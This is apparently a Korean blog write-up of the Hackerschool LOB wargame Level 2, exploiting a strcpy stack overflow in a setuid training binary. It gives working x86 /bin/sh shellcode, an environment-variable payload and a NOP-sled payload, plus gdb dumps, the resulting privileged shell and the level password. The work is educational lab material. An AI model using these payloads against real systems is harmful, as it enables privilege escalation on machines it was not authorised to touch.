[해커스쿨 LOB] Level2: gremlin >> cobolt
두비니
·2019. 9. 24. 14:06
Level 2. Gremlin >> Cobolt
Theme: Basic BufferOverFlow (smaller buffer)
들어갑시다.
id: gremlin
pw: hello bof world
기본 bash2입력 후, ls -l로 디렉토리를 확인해주면
[gremlin@localhost gremlin]$ bash2
[gremlin@localhost gremlin]$ ls -l
total 20
-rwsr-sr-x 1 cobolt cobolt 11970 Feb 26 2010 cobolt
-rw-r--r-- 1 gremlin gremlin 291 Mar 29 2010 cobolt.c
cobolt.c파일을 열어보면
[gremlin@localhost gremlin]$ nl cobolt.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - cobolt
4 - small buffer
5 */
6 int main(int argc, char *argv[])
7 {
8 char buffer[16];
9 if(argc < 2){
10 printf("argv error\n");
11 exit(0);
12 }
13 strcpy(buffer, argv[1]);
14 printf("%s\n", buffer);
15 }
1단계와 비슷하네요. 1단계와 다른 점이 있다면 이제는 buffer의 크기가 너무 작아서 쉘코드를 buffer에는 못넣을것 같군요. 스택 상태는 다음과 같습니다.
그러면 우리가 쉘코드를 저장할 수 있는 buffer가 아닌 메모리가 필요한것인데...
저는 환경변수를 이용하여 풀도록 하겠습니다.
+) 여기에 ret뒤 영역 으로 푸는 풀이 추가했습니다. 글 뒤에 추가해놨으니 참고하시길!
일단 환경변수의 정의는, "프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임으로 쉘에서 정의되고 실행하는 동안 프로그램에 필요한 변수"라고 합니다. 환경변수도 결국 어떤 값들을 저장할 수 있는 변수이기 때문에, 쉘코드를 저장할 공간으로 사용할 것입니다.
[gremlin@localhost gremlin]$ export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
다음과 같이 명령어를 입력하면 환경변수가 선언되게 됩니다!
export (변수명)=(변수내용)
의 형식으로 작성을 하며, 쉘의 종류에 따라 변수내용에 값, 함수 등 등록할 수 있는 범주가 다릅니다.
아무튼 우리는 이 선언된 환경변수 EGG의 주소만 알아내면 되겠죠?
***추가***
혹시 환경변수로 선언했는데 문제가 안풀리는 경우에는 쉘코드 앞에 nop를 충분히 넣어주고 선언을 해봅시다.
export EGG=`python -c 'print "\x90"*1000+"\x31\xc0\x50....."'`
처럼요. 아마 주소상에 뭔가 문제가 조금 있는거같아서 앞에 nop로 채워주니까 해결이 되네요. 참고하시길.
우선 환경변수의 주소를 알아내야하니 주소를 알아내는 코드를 만들어봅시다. vi를 열고 다음 코드를 삽입해줍시다.
vi (파일명) 을 입력하면 자동적으로 편집기가 열립니다. 저는 getaddr.c라는 파일을 생성하였습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *ptr;
ptr = getenv(argv[1]);
printf("%p\n", ptr);
return 0;
}
gcc -o (파일명) (파일로 만들 코드)로 주소를 구하는 코드를 만들어주고 확인해봅시다!
+) 왜 gcc를 이용하나요?
우선 gcc가 무엇인지 알아봅시다. GCC는 GNU Compiler Collection의 줄임말로, 컴파일러의 일종입니다. 왜 굳이 gcc를 통해 컴파일링을 하는지 물어본다면 당연히 .c파일은 단순히 코드덩어리에 불과하기 때문이죠. visual studio를 떠올려본다면, ctrl+f5로 컴파일링을 하면 디버깅 파일에 .exe파일이 만들어지고, 그게 실행되는 것과 비슷한 개념이라고 생각하면 편합니다.
[gremlin@localhost gremlin]$ gcc -o getaddr getaddr.c
[gremlin@localhost gremlin]$ ./getaddr EGG
0xbffffeb0
아무튼 EGG의 주소가 0xbffffeb0인걸 알아냈군요!
이 주소는 사람마다 다 다르게 나오니까 각각 확인해주셔야 합니다.
바로 페이로드를 작성합시다.
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20 + "\xb0\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAL▒▒▒
bash$ my-pass
euid = 502
hacking exposed
간단하죠?
글을 마무리하기 전에, 이런 궁금증을 가질 수도 있습니다.
1번 문제도 이런 방법으로 풀 수 있나요?
어차피 쉘코드를 메모리에 입력을 해놓고, 해당하는 주소를 ret값에 작성을 하면 되기 때문에 당연히 1번도 환경변수 풀이가 가능합니다. 다만 buffer에 쉘코드를 삽입한 후 문제풀이를 하는게 문제의 의도와 더 가깝다고 판단해서 버퍼에 직접 쉘코드를 삽입하는 방식으로 풀이를 진행하였습니다. 복습하는겸 다시 풀어봐도 좋을듯 합니다.
끝,,
+)2020.07.12 추가
환경변수 풀이가 문제가 있는 사람이 있는 것 같아 2가지 풀이를 더 씁니다.
앞에서도 이야기했지만 결국 쉘코드를 저장할 공간 + 그 공간의 주소가 bof를 하면서 최소한으로 필요한 부분들입니다.
여기에 추가적으로 프로그램에 따라 제한조건을 맞추는거고요.
따라서 ret뒤의 공간을 이용한 풀이를 더 쓰지만
이 이외에도 훨씬 더 많은 풀이방법들이 존재합니다. (argv이용, LD_Preload...)
근데 어차피 뒤에서 사용하게될 방법들이고 여기서 설명하기에 너무 글이 길어질 것 같아 가장 짧게 설명할 수 있는 ret뒤 공간으로 한가지 풀이를 더 하겠습니다. (약간 구몬수학 풀자고 공학용계산기 쓰는방법 알려주는 느낌이라..)
아무튼 문제가 안풀린다면 이 방법정도는 해보시길 바랍니다.
ret 뒤 공간 활용하기
gdb로 분석을 해보면 strcpy다음이 main+53임을 알 수 있고, 이에 breakpoint를 걸고 확인을 해보면 다음과 같습니다. 어셈분석은 생략할게요.
strcpy로 인해 buffer부터 시작하여 쭉 입력값이 써지는 구조입니다. ret뒤에는 그냥 segment사이 끼리의 영역(엄밀히 말하자면 이 프로그램의 매개변수들이 저기 어딘가에 있겠죠)이고, 이 부분을 쓰지 못하게 하는 설정 또한 없기 때문에 이를 이용해도 전혀 상관이 없습니다. 따라서 다음 코드를 넣어봅시다.
r `python -c 'print "A"*20(buffer+ebp해당) + "\xbf"*4(ret해당) + "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
참고로 nop는 그냥 넉넉하게 준다고 1000개를 넣은겁니다.(이 문제에서는 크기제한 없음) 100개를 넣든, 10000개를 넣든 상관없어요. 그리고 레지스터 상황을 확인해보면,
(gdb) b * main+53
Breakpoint 1 at 0x8048465
(gdb) r `python -c 'print "A"*20 + "\xbf"*4 + "\x90"*1000+"x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Starting program: /home/gremlin/lobolt `python -c 'print "A"*20 + "\xbf"*4 + "\x90"*1000+"x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Breakpoint 1, 0x8048465 in main ()
(gdb) x/24x $esp
0xbffff730: 0xbffff738 0xbffff88c 0x41414141 0x41414141
0xbffff740: 0x41414141 0x41414141 0x41414141 0xbfbfbfbf
0xbffff750: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff760: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff770: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff780: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
nop가 잘 들어가있네요. 어차피 nop뒤에는 쉘코드가 들어있으니 더 확인할 필요는 없지만
(gdb) x/24x $esp+950
0xbffffae6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffaf6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb06: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb16: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb26: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb36: 0xc0319090 0x2f2f6850 0x2f686873 0x896e6962
확인하고싶다면 이렇게 확인하려는 주소를 증가시키면 됩니다.
(혹시나 esp에서 왜 빼는게아니라 더하냐고 하면, ret보다 주소값이 더 켜져야 ret의 밑부분을 볼 수 있겠죠? 스택부분 다시 공부해봅시다.)
아무튼 넉넉하게 주소를 0xbffff800으로 잡아봅시다.
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20 + "\x00\xf8\xff\xbf" + "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAA ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒Ph//shh/bin▒▒PS▒ᙰ
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed
잘 되네요.
진짜 끝!
**아니 나 왜 에러 뜨는거야? 1: https://dokhakdubini.tistory.com/208**
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] Level6: Wolfman >> Darkelf (0) | 2020.07.17 |
---|---|
[해커스쿨 LOB] Level 5: Orc >> Wolfman (0) | 2019.11.06 |
[해커스쿨 LOB] Level4: goblin >> orc (3) | 2019.09.25 |
[해커스쿨 LOB] Level3: cobolt >> goblin (0) | 2019.09.24 |
[해커스쿨 LOB] Level1: gate >> gremlin (0) | 2019.09.18 |